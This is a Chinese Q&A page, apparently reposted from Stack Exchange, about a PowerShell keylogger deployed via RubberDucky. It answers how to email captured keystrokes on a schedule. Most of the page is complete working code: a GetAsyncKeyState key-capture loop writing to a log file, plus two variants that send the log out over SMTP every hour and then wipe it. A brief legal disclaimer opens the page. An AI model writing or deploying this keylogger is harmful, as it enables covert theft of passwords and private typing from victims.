RubberDucky KeyLogger PowerShell脚本定时发送日志邮件求助
重要声明
⚠️ 未经他人允许在非本人所有的设备上部署键盘记录程序属于违法行为,本方案仅可用于个人设备的合法用途(如个人设备数据备份、丢失找回等),请严格遵守当地法律法规。
问题根因
你当前的邮件发送逻辑仅放在finally代码块中,这个块只有当上层try块中的按键检测死循环异常终止时才会执行,正常运行过程中永远不会主动触发邮件发送,所以只有脚本停止运行时才会发邮件。
以下是两种可行的定时发送实现方案:
方案1:单循环内加定时检测(改动最小,无需多线程)
在原有按键检测循环里增加时间判断逻辑,到设定间隔就触发邮件发送,无需修改整体代码结构:
try { # 初始化上次发送时间,设置发送间隔(示例为1小时=3600秒,*可按需调整*) $lastSendTime = Get-Date $sendInterval = 3600 # 原有按键检测循环 while ($true) { Start-Sleep -Milliseconds 40 # 新增:判断是否到发送时间 if (((Get-Date) - $lastSendTime).TotalSeconds -ge $sendInterval) { # 读取最新日志内容 $logs = [System.IO.File]::ReadAllText($logFile, [System.Text.Encoding]::Unicode) # 发送邮件 $smtp.Send($email, $email, $subject, $logs) # 可选:发送后清空本地日志,避免重复发送相同内容 [System.IO.File]::WriteAllText($logFile, "", [System.Text.Encoding]::Unicode) # 重置发送时间标记 $lastSendTime = Get-Date } # 原有按键检测逻辑不变 for ($ascii = 9; $ascii -le 254; $ascii++) { # use API to get key state $keystate = $API::GetAsyncKeyState($ascii) # use API to detect keystroke if ($keystate -eq -32767) { $null = [console]::CapsLock # map virtual key $mapKey = $API::MapVirtualKey($ascii, 3) # create a stringbuilder $keyboardState = New-Object Byte[] 256 $hideKeyboardState = $API::GetKeyboardState($keyboardState) $loggedchar = New-Object -TypeName System.Text.StringBuilder # translate virtual key if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) { # add logged key to file [System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode) } } } } } # 原有兜底发送逻辑保留,脚本异常退出时触发 finally { $logs = [System.IO.File]::ReadAllText($logFile, [System.Text.Encoding]::Unicode) $smtp.Send($email, $email, $subject, $logs); }
该方案优点是改动量极小,没有额外依赖;缺点是如果按键检测逻辑出现卡顿,会小幅影响发送时间精度,对于小时级的发送间隔完全够用。
方案2:后台作业分离逻辑(更稳定)
把定时发送逻辑放到独立的后台作业中运行,和按键检测逻辑完全分离,互不影响,不会干扰按键捕获的灵敏度:
# --- 新增:启动后台定时发送作业 --- $sendJob = Start-Job -ScriptBlock { param($logPath, $smtpConfig, $senderEmail, $receiverEmail, $emailSubject, $interval) # 初始化SMTP客户端 $smtp = New-Object Net.Mail.SmtpClient($smtpConfig.Server, $smtpConfig.Port) $smtp.EnableSsl = $smtpConfig.EnableSsl $smtp.Credentials = New-Object System.Net.NetworkCredential($smtpConfig.Username, $smtpConfig.Password) while ($true) { Start-Sleep -Seconds $interval if (Test-Path $logPath) { $logs = [System.IO.File]::ReadAllText($logPath, [System.Text.Encoding]::Unicode) # 只有日志不为空才发送 if (-not [string]::IsNullOrWhiteSpace($logs)) { $smtp.Send($senderEmail, $receiverEmail, $emailSubject, $logs) # 可选:清空本地日志 [System.IO.File]::WriteAllText($logPath, "", [System.Text.Encoding]::Unicode) } } } } -ArgumentList $logFile, @{ Server = "你的SMTP服务器地址" # 例:smtp.qq.com Port = 587 EnableSsl = $true Username = "发件邮箱账号" Password = "发件邮箱授权码" }, $email, $email, $subject, 3600 # 最后一个参数为发送间隔,单位秒 # --- 原有按键记录逻辑不变 --- function KeyLogger { # set up API $API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru try { while ($true) { Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { $keystate = $API::GetAsyncKeyState($ascii) if ($keystate -eq -32767) { $null = [console]::CapsLock $mapKey = $API::MapVirtualKey($ascii, 3) $keyboardState = New-Object Byte[] 256 $hideKeyboardState = $API::GetKeyboardState($keyboardState) $loggedchar = New-Object -TypeName System.Text.StringBuilder if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) { [System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode) } } } } } finally { # 兜底发送最后一段未发送的日志 $logs = [System.IO.File]::ReadAllText($logFile, [System.Text.Encoding]::Unicode) $smtp.Send($email, $email, $subject, $logs); # 退出时停止后台发送作业 Remove-Job $sendJob -Force } } # run keylogger KeyLogger
内容的提问来源于stack exchange,提问作者cellardoom
相关产品推荐
相关产品推荐

